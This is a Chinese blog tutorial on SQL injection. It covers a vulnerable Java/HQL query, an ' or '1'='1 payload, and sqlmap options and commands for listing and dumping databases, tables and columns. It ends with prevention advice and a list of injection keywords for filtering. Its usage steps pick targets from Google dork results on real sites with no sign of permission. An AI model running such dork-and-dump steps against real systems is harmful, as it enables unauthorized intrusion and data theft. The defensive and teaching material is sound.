sql注入的流程介紹

我們在開發(fā)過程中不僅要保證業(yè)務(wù)功能的完整性,更要保障安全性.
在剛從事工作時,我并沒有關(guān)注一些安全性相關(guān)的知識,工作一年之后很多業(yè)務(wù)技術(shù)都有所掌握,之后就參與到了測試組的工作中去.從那個時候我才知道,白盒,黑盒,單元測試,壓力測試,等等一些知識.起初就是覺得好玩,并沒有立志要成為一個白帽子,所以一路走來,小打小鬧.

背景

出現(xiàn)的安全問題就不說那么多了,作為開發(fā)人員應(yīng)該都清楚,后果是非常嚴(yán)重的.OWASP TOP10中把SQL注入排在了第一位.

原理

比如下面的代碼

String query = "SELECT * FROM accounts WHERE  custID='" + request.getParameter("id") + "'";

使用hql的代碼

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

這樣的代碼有問題么?

如果這樣傳遞參數(shù)呢?http://example.com/app/accountView?id=' or '1'='1

這就是簡單的注入實(shí)例

工具

原理知道了,通過拼接sql語句,導(dǎo)致 語句不會按照自己的預(yù)期執(zhí)行.我們通過使用sqlmap來完成sql注入的檢測.
sqlmap: 注入檢測
burpsuite: 請求代理
GHDB:谷歌黑客數(shù)據(jù)庫(通過谷歌檢索查詢漏洞)
webshell: 入侵成功后可以上傳腳本
中國菜刀:通過shell連接服務(wù)器,不過這個版本比較老,但是還挺好用

tips: 我們想要發(fā)現(xiàn)是否存在注入漏洞,所以對于滲透,上傳webshell等不過多關(guān)注.

sqlmap 工具的使用

安裝

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

概述

我們通過help命令對sqlmap有一些了解.

  • Target: 目標(biāo)
    1. -u : 指定目標(biāo)url 比如 http://www.site.com/vuln.php?id=1
    2. -g: 利用谷歌搜索語法,比如 inurl:newsid=
  • Request: 請求參數(shù)
    1. --date=DATA: Post提交參數(shù)
    2. --cookie=COOKIE
    3. --random-agent: 隨機(jī)代理請求頭User-Agent
    4. --proxy :使用代理連接
  • Injection: 注入配置
    1. --dbms: 指定后臺數(shù)據(jù)庫
  • Detection: 偵察
    1. --level=LEVEL: 偵察等級 1-5(默認(rèn)1)
    2. --risk=RISK: 風(fēng)險等級1-3(默認(rèn)1)
  • Enumeration:檢索
  1. -a: 查詢所有
  2. -b: DBMS banner
  3. --current-user: 查詢用戶當(dāng)前等級
  4. --current-db: 查詢用戶當(dāng)前數(shù)據(jù)庫
  5. --passwords: 查詢用戶密碼
  6. --tables: 查詢表
  7. --columns :查詢列
    8.--schema: 查詢schema
    9.--dump: 獲取數(shù)據(jù)
  8. --dump-all:
  9. -D DB :檢索指定數(shù)據(jù)庫
  10. -T TBL: 檢索指定表
    13.-C COL:檢索指定列
    tips: 其他涉及到shell等注入的就不介紹了,我們主要的任務(wù)是如何檢測一個sql是否存在注入

使用方法

  • 我們通過谷歌黑客數(shù)據(jù)庫查找目標(biāo)
  • 選擇Google Dork Description:inurl:"sitegenius/topic.php"
  • Google搜索后選擇一個目標(biāo)
  • 查詢當(dāng)前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –current-db   // 當(dāng)前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –users    // 列數(shù)據(jù)庫用戶
./sqlmap.py -u “注入地址” -v 1 –current-user  // 當(dāng)前用戶
./sqlmap.py -u “注入地址” -v 1 –tables -D “數(shù)據(jù)庫”   // 列舉數(shù)據(jù)庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “數(shù)據(jù)庫”   // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “數(shù)據(jù)庫”   // 獲取表中的數(shù)據(jù),包含列

注入預(yù)防

  • java中查詢語句時候不要使用sql拼接,可以使用PreparedStatement
  • hibernate中不要拼接hql,盡量使用占位符
  • mybatis中盡量使用#{},避免使用${}的參數(shù)方式.
  • 請求過濾器: 如果獲取到非法連接則拒絕.
sqlmap統(tǒng)計了注入的技術(shù)
1. 基于布爾的注入
2.基于錯誤的注入
3.內(nèi)聯(lián)注入
4.堆棧查詢注入
5.至于時間注入
6.union查詢注入
涉及到的關(guān)鍵字有:
boolean注入: (' ,<',">, AND ,%',(SELECT,--, OR ,)*,
union注入: ORDER,UNION,MAKE_SET,ELT
time注入:SLEEP,PG_SLEEP,DELAY,WAITFOR
inline注入:..)',
空格處理關(guān)鍵字:/**/,BETWEEN,/**_**/,'%09', '%0A', '%0C', '%0D', '%0B',--%0A,%S%E%L%E%C%T
大致通過這些就可以判斷,
  • 請求頭過濾: sqlmap 默認(rèn)的請求agent:sqlmap/1.1.3.2#dev (http://sqlmap.org) 此外,對于一些常用的代理工具都可以進(jìn)行一些拒絕處理,比如charles,burpsuite,fiddler 等等
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,559評論 2 22
  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載,對原文中一些明顯的拼寫錯誤進(jìn)行修正,并標(biāo)注對自己有用的信息。 ======...
    wind_飄閱讀 2,205評論 0 5
  • sqlmap也是滲透中常用的一個注入工具,其實(shí)在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    linkally閱讀 7,196評論 1 40
  • sqlmap也是滲透中常用的一個注入工具,其實(shí)在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    查無此人asdasd閱讀 1,617評論 0 1
  • SQLMAP作用 判斷可注入的參數(shù) 判斷可以用哪種SQL注入技術(shù)來注入 識別出哪種數(shù)據(jù)庫 根據(jù)用戶選擇,讀取哪些數(shù)...
    陸灑脫閱讀 3,805評論 1 4

友情鏈接更多精彩內(nèi)容